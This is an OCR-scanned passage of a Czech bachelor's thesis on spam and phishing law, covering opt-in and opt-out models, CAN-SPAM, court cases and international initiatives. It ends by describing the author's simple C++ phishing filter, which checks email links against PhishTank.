
b) skryva nebo utajuje totoznost odesilatele, jehoz jménem se komunikace uskuteciuje,

¢) je zaslana bez platné adresy, na kterou by mohl adresat pfimo a ucinng zaslat informaci o

tom, Ze si nepfeje, aby mu byly obchodni informace odesilatelem nadale zasilany.
Nejvyssi pokutu mize za spaming dostat jen pravnicka osoba, a to za predpokladu, ze pro ucely Sifeni
obchodnich sdéleni zaslala elektronickou postu, ktera uvadi neplatnou adresu, na niz by adresat mohl
odeslat zadost o ukonceni takové komunikace. V takovémto pripadé se ulozi finan¢ni pokuta do vyse
10.000.000 K¢.

Problém spamingu je Castecné fesen i dal§$im pravnim pohledem na problematiku nevyzadané
posty jako potencialni reklamy. V tomto pripadé lze na pripadny delikt nahliZzet zakonem o regulaci
reklamy ¢. 138/2002 Sb. Vyhodou takovéhoto pravniho pohledu je snazsi a ucinnéjsi kontrola spami,
tento zakon totiz pfimo zakazuje mimo jin€ tyto druhy reklamy:

o rcklama skryta. Takovou reklamou se pro ucely tohoto zakona rozumi reklama, u niz je
obtizné rozlisit, Ze se jedna o reklamu, zejména proto, Ze neni jako reklama oznacena
e Sifeni nevyzadané reklamy, pokud vede k vydajim adresata nebo pokud adresata obtézuje.
Dalsi vyhodou je, Ze organem dozoru nad vykonem tohoto zakona je Okresni Zivnostensky tfad’. Je
zde tedy diky regionalnosti a ucinnéjsi komunikaci vét§i Sance, Zze bude pfipadna stiznost na
nevyzadanou postu ucinna. Tyto prestupky jsou feSeny v ramcei spravniho fizeni, pficemz mohou byt

pokutovany do vyse 2.000.000,- K¢ a to 1 opakovang.

? Dalgimi organy dozoru jsou téz Rada pro rozhlasové a televizni vysilani, Statni ustav pro kontrolu 1é¢iv a
Ministerstvo zdravotnictvi. Bere se v potaz Okresni zivnostensky trad prislusejici okresu trvalé¢ho bydlisté nebo
mista podnikani u pravnické osoby.
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5.4 Model OPT-OUT

OPT-OUT je systém, ktery by se dal z anglictiny prelozit jako ,,zvolit si odejit pry¢*. Jak jiz nazev
napovida, jeho princip je zcela opacny oproti modelu OPT-IN. Znamena to tedy, ze uzivatel muze bez
pfedchoziho souhlasu dostat email sobchodnim sdélenim, nicméné tento email musi spliovat
zakonem stanoven¢ parametry. Nejdulezitéjsi je zde fakt, Ze takovyto email musi obsahovat
jednoduchou a srozumitelnou moznost, kterou uzivatel bude moci odmitnout pfipadné dalsi emaily od
této spole¢nosti. Ta poté pochopiteln€ jiz nemuze poslat takovému uzivateli Zadny dalsi email.

Tento systém obrany proti spamu je hlavnim pilifem antispamové legislativy USA, ze které
vzesla celosvétové uznavana pravni norma (soucasné zakon v USA) obrany proti spamim — CAN-
SPAM (Controlling the Assault of Non-Solicited Pormography and Marketing Act of 2003).
Podrobnosti o tomto zakonu jsou uvedeny v sekei 5.3.1. CAN-SPAM.

Organem dozoru nad vykonem tohoto zakona je Federal Trade Commision (FTC). Je ticba
podotknout, Ze kritéria spamu jsou zde celkové sofistikovanéjsi a pripadna finanéni sankce se odviji
pravé od druhu rozeslaného spamu. Tato pokuta vsak muze jit az do vySe 11.000 USD, pficemz
v pripad¢€, ze spamer porusi zakon vicekrat, muze byt pokutovan opakované a mize byt odsouzen i
nepodminéneé.

Zajimavym aspektem této problematiky je fakt, ze model OPT-OUT neni tak uéinny jako OPT-
IN. I pfesto, ze pravni norma CAN-SPAM je propracovanéjsi nez doporucena antispamova legislativa
pro ¢lenské zemé EU, odhaduje se, ze 60% vSech spamu je puvodem pravé z USA [14]. Nékteré
zem¢ pouzivaji kombinaci téchto modelt (napf. Australie) nebo upfesiiuji pouziti jednoho z téchto
pravnich pohledu v zavislosti na konkrétnim typu spamu (napiiklad v Americe se povazuje za spam i
nevyzadana SMS, pri¢emz se jeji spamova relevance posuzuje zaroven podle modelu OPT-IN 1 OPT-

ouT).

5.5  Pravni pohled na phishing

V Ceské republice jsou piipady phishingového utoku zatim pomémé ojedinélé, nicméné jsme se méli
moznost setkat jiz s nékolika pfipady, které vyvolaly otazku pravniho pozadi tohoto Cinu. Jedna se
predevsim o 2 nejvétsi piipady — phishingovy utok na Ceskou spofitelnu a Citibank.

Z pohledu nasi legislativy lze phishing kvalifikovat jako trestny ¢in podvodu dle § 250
trestniho zakona. Podvodem se zde rozumi jakakoliv skutecnost, ktera uvede nékoho v omyl, vyuzije
pfipadného omylu ¢i zamléi dialezité skutecnosti, a timto zplisobi nékomu majetkovou §kodu nebo

obohaceni na ukor druhé¢ho. Za takovéto jednani miize byt vinik potrestan penczitym trestem a



odnétim svobody az na 2 roky, pokud nebyla zptisobena skoda vétsi nez . nikoli mala™. V opaéném
pripad¢ ¢i pokud se jedna dokonce o organizovanou ¢innost, dosahuje trestni hranice az 12 let odnéti
svobody. Dal§im dulezitym faktem je, Ze minimalni §koda na cizim majetku musi presahnout ¢astku
5.000 K¢, kdyby se phisherovi nepodarilo samotnou finanéni transakci realizovat, pak by pfipad
setrval ve stadiu pokusu o podvod, ktery je samoziejmé také trestny, nicméné vS§eobecné mirnéjsi.
Policie se vSak musi sechnat dostate¢né mnozstvi dikazniho materialu, aby mohlo byt
prokazano, ze konkrétni osoba (phisher) odeslala danou emailovou zpravu, dale Zze tato osoba
zneuzila ziskané pristupové udaje tim, Ze pouzila finanéni prostfedky na uctech poskozenych, a to vse
v umyslu obohatit sebe ¢i nékoho jin¢ho (zpravidla organizaci, ktera si jej najme) ¢astkou vyssi nez
5.000,-K¢&. Je tedy jasné, Ze v tomto ohledu musi nase policie dobfe spolupracovat s policii jinych
statii. V této oblasti se u nas standardni postupy teprve rozvijeji, nicméné jiz nyni se piipravuji
klicové zmény trestniho zakona. Zde se maji objevit nové skutkové podstaty pocitacové trestné
¢innosti. Pravé nedostateéné definovani téchto skutkovych podstat v nasem trestnim pravu nam zatim
brani ratifikovat Mezinarodni umluvu o kyberkriminalité. Staty, které podepsaly tuto smlouvu sdileji

mezinarodni systém spoluprace a vymény informaci mezi organy ¢innymi v trestnim fizeni.

5.6 Precedencni pripady phishingu

Prvni soudni pfipad phishingu byl zaznamenan v roce 2004 v USA, tehdy FTC (Federal Trade
Commision) Zzalovala mladého teenagera z Kalifornie, ktery vytvoril webovou stranku s identickym
designem banky America Online a pouzil ji k ziskani pristupovych udaju, jez nasledné zneuzil.
Uspésnost tohoto piipadu byla vzorem pro mnoho dalsich stata a prakticky spustila vlnu aktivit
sméfujicich k vystopovani a odsouzeni dalSich phishert. Jeden z nejvétsich uspécht tohoto snazeni
bylo zatCeni vedouciho ¢lena vysoce organizované phishingové spolecnosti - Valdir Paulo de
Almeina. Ten béhem 2 let svého pusobeni odcizil az $37.000.000. Tento pfipad také rozpoutal otazku
efektivniho sbéru digitalnich stop v mezinarodnim prostredi, jelikoZ ¢lenové této phisherské skupiny
sidlili v riznych statech a samotny Valdir byl nakonec zatéen v Brazilii. Vétsina phishingovych utoku
byla provedena na americké banky, nicméné v roce 2006 se s touto problematikou setkala 1 japonska
justice, ktera odsoudila 8 lidi, ktefi se podvodnym zpuisobem vyuzivajicim phishingové metody
obohatili o 100 milionu yenu ($900.000). V souéasné dobé byl pro phishing vyclenén i staly specialni

vySetfovaci tym FBI.



JelikoZz pocet phishingovych utoka stale narusta, situace si v ramci zjednoduSeni trestniho
stihani pripadnych zlocincu vyzadala G¢inngjs§i pravni oSetfeni tohoto druhu zlocinu. V roce 2005
tedy senator Patrick Leahy pfedstavil novou pravni normu — tzv. Anti-Phishing Act. Tento zakon
definuje jako trestny ¢in jiz samotné vytvoreni podvodné stranky ¢i rozesilani emailu ktery vyuziva
nepravdivych udaju k oklamani pfijemce za ucelem kradeze identity. Nejvyssi trestni sazba, kterou
tento zakon uklada, je finan¢ni pokuta ve vysi 250.000 dolarG a odnéti svobody na dobu péti let.
JelikoZz se vSak v USA trestni sazby jednotlivych delikti scitaji, byl zaznamenan pfipad, kdy phisher
celil moznému trestu 101 let ve vézeni. Tento soud se odehraval v roce 2007, Jeffrey Brett Goodin z
Kalifornie celil obvinéni i z poruseni zdkona CAN-SPAM Act of 2003, elektronického bankovniho
podvodu a z poskozeni dobrého jména spole¢nosti AOL. Nakonec vSak soud rozhodl o trestu ,,pouze™
70 mésicu. V soucasné dob¢ prijimaji antiphishingové zakony postupné i dalsi zem¢. Piikladem muze
byt Velka Britanie a jeji zakon Fraud Act 2006, ktery povazuje za trestné i vytvareni ¢i distribuci
nastroju, které by prokazatelné mohly slouzit k realizaci phishingového utoku.

Zajimavym pripadem c¢eské modifikace pomémé elegantniho phishingu byl email, ktery
rozeslala trojce podvodnikt z Pierova. Ta mistnim firmam poslala oznameni, kde jménem Vseobecné
zdravotni poji§tovny informovali o zmén¢ bankovniho Gétu této organizace. I takto jednoduchy trik
mel svij uspéch, jelikoz 3 pomémé velké spolecnosti na tento ucet opravdu zacaly posilat penize.
Policie v§ak tuto trojici dopadla jiz za 3 mésice. Co se tyce opravdového phishingu, zatim jedinym
znamym piipadem v CR, kdy obéti piisly i o finanéni hotovost je utok na Komeréni banku. Tehdy
bylo podvedeno 10 klientti, nicmén¢ v ramci zachovani dobrého jména jim Komercni banka vzniklou

Skodu nahradila.

5.7  Mezinarodni iniciativy

Pri feseni pravniho deliktu na urovni mezinarodniho prava je velmi vyhodné, kdyz jednotlivé pravni
normy zainteresovanych stati jsou kompatibilni. Vznika tedy spousta iniciativ, které se snazi
unifikovat postup proti internetové kriminalit¢. Tyto iniciativy probihaji vEtSinou na urovni
pravidelnych konferenci, jejichz vystupem je legislativni norma, kterou mohou vyuZit jiné staty.

V Evropské unii je takovato norma vytvofena formou smémic ¢i nafizeni. Nafizenim je
zavazny akt normativni povahy. Je to pravidlo obecné zavazné na urovni Spolecenstvi 1 na urovni
jednotlivych Clenskych stati. Muze tedy pfimo zavazovat i vnitrostatni subjekty prava (osoby).
Naproti tomu smérnice nema obecnou zavaznost, predepisuje jen vysledek jehoz ma byt dosaZzeno,

zatimco formy a metody dosazeni tohoto cile zistavaji na vali stati. V praxi to znamena, ze Evropska



unie vyda smérnici upravujici napf. postihovani spamu, nicméné zalezi na kazdém stat¢, jak si ji
upravi a zakomponuje do své legislativy.

Inspiraci pro obsah takovychto smémic byva zpravidla doporuéeni vychazejici z Cinnosti
mezinarodnich organizaci sdruzujici odborniky, statni i soukromy sektor. Prikladem takovychto

iniciativ mohou byt tyto skupiny:

CNSA (Contact Network of Spam Enforcement Authorities) — organizace pusobici v ramci EU, jejimz
cilem je nejen potirani spamu, ale 1 vytvoreni databaze a vhodné¢ho komunikaéniho nastroje mezi
evropskymi zemémi, ktery by byl schopen efektivné sbirat tzv. digitalni stopy pouzitelné jako
dikazni material pro organy ¢inné v trestnim fizeni. Tento projekt se vyviji od roku 2005 pod

Nazvem SpotSpam a je dotovan finan¢nimi prostfedky z fondu EU.

London Action Plan — jedna se o sdruzeni, jehoz cleny je 26 stati svéta a fada obchodnich
spole¢nosti. Hlavnim cilem tohoto sdruzeni je spoleéné¢ vyvijet strategii boje proti emailové
kriminalité, a to pfedev§im spamu, phishingu a virum, které je podporuji. Vyhodou tohoto sdruzeni
je, ze zde probiha komunikace mezi zastupci zakonodarcu jednotlivych zemi a primyslovymi

firmami, které¢ mayji s touto problematikou zkusenosti, i se podileji na vyvoji samotného feseni.

Anti-Phishing Working Group(APWG) — celosvétova organizace sdruzujici IT spolecnosti, statni
agentury a nejvetsi svétové banky za ucelem boje proti phishingu. Tato organizace vyviji nové
metody obrany, udrzuje repozitar phishingovych stranek, monitoruje rozsah phishingovych utoku a

zabyva se 1 pravnimi upravami této problematiky, z nichZ mohou cerpat jiné staty.

Je tfeba fici, ze nejen tyto, ale i spousta dalSich nezminénych iniciativ jsou velmi uZzite¢né,
jelikoz pfipadny zlocin spachany v ramci statu, které maji takto sjednocenou legislativu ¢i systém
forenznich postupti, je mnohem rychleji a Géinnéji dopatran a pfipadné potrestan. Nicméné tohoto
faktu jsou si pochopitelné védomi i samotni phishefi ¢i spamefi, a proto disledné vyuzivaji stati,
jejichz legislativni kultura jest¢ neni tak vysoka a nejsou Cleny téchto spolecenstvi. Musi se pak tedy
fesit kolize pravnich norem jednotlivych stati vySe popsanymi postupy a cely proces se timto velmi

zkomplikuje a prodlouzi.
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5.8 Internetova policie

Timto oteviram myS$lenku samostatného aktivniho organu, ktery by byl soucasti vefejného sektoru a
jehoz prava a pravomoc by byla zarucena legislativou pfislusného statu. Mizeme si tuto myslenku
predstavit jako internetovy ekvivalent dopravni policie, ktera aktivné hlida dodrzovani pravidel
silni¢niho provozu, fesi pfipadné kolize a za urcitych okolnosti je schopna zcela fidit dopravu.
Obdobné by se internetova policie starala o to, aby internet nebyl zat¢Zovan spamy, nezadoucimi
strankami s protipravnim obsahem, ale byla by schopna i efektivné fesit dal§i internetovou kriminalitu
(poruseni autorskych prav, phishing, atd.).

Jiz ze zminéného prikladu lze vidét zasadni véc, o kterou se tato myslenka opira. Pro funkénost
institutu internetové policie je totiz zapotiebi predevsim pevné zakotveni v legislativeé, kdy stejné jako
dopravni policie muze kdykoliv zkontrolovat jakoukoliv vefejnou komunikaci, musi i internetova
policie mit dostatecny pristup k serverim poskytovateli internetovych sluzeb. DNS serveram, atd.
Bylo by téz potieba vytvofit pravni normy pro sbér digitalnich stop v internetovém prostiedi a
samotné forenzni postupy.

Pochopiteln¢, Ze jiz v dnesni dobé naSe policie tyto problémy fesi (jedna se o utvar pro
odhalovani kriminality na Internetu Policie Ceské republiky), nicménd vzhledem k nedostateénym
pravomocem, Spatnému sbéru digitalnich stop a nekoncepénosti spoluprace s internetovymi
spole¢nostmi je pripadné dohledani takovéto kriminality neefektivni a ¢asto i neucinng. Myslim si, Ze
informaticko-pravni rozbor této myslenky by byl velmi zajimavy a pfinosny, nicmén¢ tato myslenka
je jiz nad ramec této bakalarské prace. Hodlam ji vSak pozd€ji rozpracovat spolecné se studenty

pravnické fakulty Masarykovy univerzity.



6 Implementace nastroje na

rozpoznavani phishingovych emailu

Soucasti této prace je implementace nastroje na analyzu dat o phihsingu. JelikoZ phishefi vyuzivaji
pro svou ¢innost predevs§im podvodnych emaili, rozhodl jsem se naprogramovat aplikaci, ktera by
byla schopna rozpoznat tyto emaily.

Implementovany nastroj je jednoducha aplikace napsana v jazyce C++ urCena pro obdobu
operacniho systému Linux. Tato aplikace ma z divodu snadnéjsi prezentace funkénosti 2 modifikace.
1. verze se jmenuje phishtank test a pracuje jako zcela nezavisly klient, ktery se pfipoji na postovni
server pomoci protokolu POP3, prohlédne predem zadany pocet nejnovéjSich zprav a vyhodnoti jejich
obsah. Druha modifikace tohoto programu je pojmenovana jako phishtank a predpoklada nasazeni na
postovnim serveru, nebo na klientu pracujicim s emaily pomoci lokalnich slozek (naptiklad pomoci
programu fetchmail). Tato implementace jiz samostatné nestahuje emaily z poStovnich ucéta, nybrz
zpracovava emaily po jinych programech (napriklad program procmail). Prvni modifikace tohoto
nastroje je urCena predevSim pro testovaci a prezentacni ucely, proto v ni lze zapnout nékolik
pomocnych vypist znazomujicich béh programu. Druha implementace vyzaduje vhodné nastaveni
samotného postovniho serveru nebo aplikace (ta musi znat umisténi emailt a spustit se v dob¢, kdy

pocitaé tyto emaily zpracovava).

6.1 Princip analyzy obsahu emaili

Tento program vyuziva zakladniho principu, diky kterému phishefi oklamou svou obét, a sice
podvodnych hypertextovych odkazii.

Pii své analyze tedy postupné procita obsah emailu a hleda v ném hypertextové odkazy.
Jakmile nalezne v t¢le emailu takovyto odkaz, zakdduje jej pomoci vestavéného algoritmu do base64
(pro tyto ucely neni pouzito zadné knihovny). Dale se program pfipoji na server phistank.com, ktery
obsahuje volné pfistupnou databazi url adres pouzitych v phishingovych emailech. Tento server
vyhodnoti, jestli se zakodovana url adresa naléza v jeho databazi a vrati odpovéd’ v podobé xml
vystupu. Program nasledn¢ vyhodnoti informace obsazené v této odpovédi a na zakladé toho provede

s emailem prislusnou akci (v pfipad¢ serverové implementace vlozi do pfedmétu emailu napis ***
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PHISH *** u demonstra¢ni implementace program zobrazuje veSkeré statistiky na standardni

vystup).

6.2 Instalace a spusténi programu phishtank

Program phishtank je urcen pro systémy pracujici na platformé linux. JelikoZz se jedna o pomémné
jednoduchy program, staci jej jen zkompilovat pomoci piikazu make a piipadné nahrat do
pozadované slozky. Jedinou podminkou spravného béhu programu je to, aby mél pravo zapisu do
uvazované slozky a aby v této slozce existoval soubor tmp ktery pouziva jako pracovni docasny
soubor.

Nyni 1ze phishtank otestovat pomoci pfilozen¢ho souboru ukazka, nebo lze pouzit programu

phishtank_test, ktery pomérmné nazomé demonstruje funkci phishtanku.

6.2.1 Program phishtank test

Tento program je urcen pro demonstraci funkce phishingového filtru. Samotny program phishtank byl
vyvinut pavodné z tohoto programu. Vyhodou aplikace phishtank test je pfedevsim snadné a nazorné
pouziti.

Phishtank test je jednoduchy klient, ktery se pfipoji na predem zadany POP3 server. Zde
prohlédne predem dany pocet nejnovejSich emailii a vypise na standardni vystup vysledky provedené

analyzy. Syntaxe spusténi tohoto programu je nasledujici:
phishtank test jméno pop3 serveru:port jméno heslo [-V]

Jako jméno serveru je tfeba uvést celou adresu serveru s ¢islem portu, na ktery se chceme
pripojit (vétSinou 110). Program se na serveru piihlasuje pomoci jména a hesla uvedeného v polozce
Jjméno a heslo. Prepina¢ —v je nepovinny a pfi jeho zapnuti program vypisuje url adresy, které nalezl

béhem analyzy emaild.



6.2.2 Program phishtank

Phishtank je program, ktery lze provozovat na postovnim serveru i na klientské stanici. Zalezi na
aktualnim nastaveni a politice pocitace, na kterém tento program bézi. Nejpraktictéjsi nastaveni je
podle mého nazoru pridani programu phishtank do fronty programu zpracujicich pfichozi postu.
V tomto pripad¢ se phishtank spusti vzdy v momenté, kdy na lokalni postovni ucet dojde novy email.
Jelikoz emaily jsou ukladany ve form¢ jednoho textového souboru pro kazdy ucet, je cesta k tomuto

souboru potfebnym argumentem pii spusténi programu phishtank. Syntaxe spusténi je tedy:
phishtank path [-V]

Jméno pozadovaného souboru sjeho kompletni cestou se dopliuje jako parametr path.
Prepinac —v zapina pomocné vypisy, které zobrazuji vysledky analyzy emailt.

Pokud program phishtank zjisti, ze zkoumany email je phishingovy, pfipiSe v poli jeho
predmétu napis *** PHISH ***. Phishtank nepotfebuje ke své funkci moc operacni paméti bez

ohledu na mnozstvi a velikost emaila, jelikoZ pracuje pomoci doc¢asného souboru tmp.

6.3 Vyhody a nevyhody této implementace

Nejvétsi vyhodou této implementace je predev§im univerzalnost pouZziti a nenaroc¢nost z hlediska
prostfedkt nutnych pro béh samotného programu. Tato aplikace pracuje s emaily uloZenymi na disku
primo, bez nutnosti nacitat jejich obsah do operac¢ni paméti (pro modifikaci souboru vyuziva zalozni
tmp soubor). Diky této charakteristice 1ze tuto aplikaci pouzit i na velmi velky pocet emaili bez
vyraznych ztrat vykonu. Jelikoz je tento program nezavisly na zadném konkrétnim protokolu
(pomineme-li prezentacni verzi), lze pouzit jak na poStovnim serveru, tak na klientu. Pouzita databaze
serveru phistank.com je nejvetsi vefejn¢ dostupnou databazi phishingovych url adres na siti internet.
Na druhou stranu tento program bohuzel nemuze dostateéné¢ rychle reagovat na nové
phishingové emaily. Vzhledem k tomu, Ze phistank funguje na zakladé reporti o phishingovych
emailech ze strany svych zaregistrovanych uzivatelu a dalSich obdobnych servert, musi nejprve dany
falesny link potvrdit dostate¢né mnozstvi uzivatelt, aby bylo mozné posoudit, zdali se jedna o
phishing ¢i nikoliv. Diky tomuto vznika prodleni, které miize znamenat, Ze email je zpracovan

pomoci postovniho agenta drive, nez se phistank dozvi, Ze se jedna o podvodny email. Tato situace
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neni az tak Spatna v ramci USA a dalSich zemi, které jsou ¢astymi ob&étmi phishingu, zde je reakéni
doba phishtanku jedna az nékolik hodin. Nicméné toto bohuzel neplati pro Ceskou republiku, kdy
diky nizkym zpétnym vazbam podvodnych emailt na phishtank ovéteni validity ohlaseni phishové
adresy trva az n¢kolik dni. Tato reakéni doba je pomémé nedostatecna, jelikoz phishefi vétSinou
odeslou vSechny své podvodné emaily béhem jednoho dne. Nelze tedy soupefit s profesionalnimi
feSenimi antiphishingové ochrany, které pouzivaji propojenou sit” honeypotu, diky kterym se reakéni

doba na vyskyt podvodného emailu rapidné zkracuje.

6.4 Mozna vylepSeni antiphishingového nastroje

Na tomto nastroji by se dalo jesté¢ v budoucnu dale pracovat. Za velmi pfinosné bych povazoval tato
vylepseni:

- roz§ifeni analyzy emailu o textovy parser hledajici klicova slova ¢i neshody v zapisu url adres
(zobrazené url se lisi od odkazovaného url)

- spoluprace s databazemi spamu (moznost podilet se na celkové emailové ochrang)

- implementace spoluprace aplikace s programem sendmail pomoci API knihovny MITL (ta
umoziuje, aby nase aplikace naslouchala na portu, na ktery ji sendmail postupné preposila
obdrzena data. V pripad¢ pochybnosti o legitimité emailu muze nase aplikace zaslat pokyn
k ukonceni samotného SMTP prenosu. Email 1ze tedy takto filtrovat jesté dfive, nez je ulozen

na disk)



Z.aver

Tato prace si klade za cil predevs§im osvétlit souc¢asné problémy emailové komunikace. Proto jsem se
snazil poukazat na souvisejici pravni pohled a zaroven nahlédnout do samotného technického pozadi
emailovych problematik.

Myslim si, ze pravé prozkoumani pravnich ramcu emailové problematiky muze byt velmi
prinosné. Spousta firem si napfiklad neuvédomuje, kde lezi pomyslna hranice spamu a jaké jsou
pfipadné postihy. Dal§im zajimavym cilem v mé praci bylo zasadit emailovou kriminalitu do
prostfedi mezinarodniho prava. Tato problematika je pomémé slozitd, nicméné vzhledem
k soucasnému rozsifeni phishingu, ktery doslova vyuziva nevyspélé pravni kultury nékterych zemi, je
velmi aktualni.

Dale bylo mym cilem nahlédnout do tvorby nastroju slouZicich k zabezpeceni schranek proti
nevyzadanym emailim. Zde jsem si zkusil implementovat jednoduchy phishingovy filtr. Povazuji za
velmi zajimavou zkuSenost poznani, Ze naprogramovat samotny filtr bylo pomérn¢ jednoduche, ale
uvést jej do provozu tak, aby spolupracoval s jinymi programy a byl co nejuniverzalnéjsim, byl tkol,
ktery v sobé skryval spoustu uskali. Postupem vyvoje jsem pfisel i na n¢kolik vylepseni, ktera by
tento program mohl mit, nicméné¢ musim konstatovat, Zze vzhledem k omezenym moznostem
nekomercnich databazi a nutnosti velmi rychle reagovat na nové phishingové emaily, tento program
nikdy nebude a ani nemuze dosahovat kvalit velmi dobfe zaplacenych antiphishingovych feseni
modifikovanych na miru konkrétni bance.

Myslim si, Ze v této praci lze nalézt spoustu témat, ktera jsou velmi aktualni, bohuzel jsou vSak
informace o nich pomémé neucelené, nebo roztfis§téné na mnoha mistech sité internet. Doufam tedy,

Z¢ tato prace bude cennym zdrojem ¢i inspiraci pro pripadného ¢tenare.
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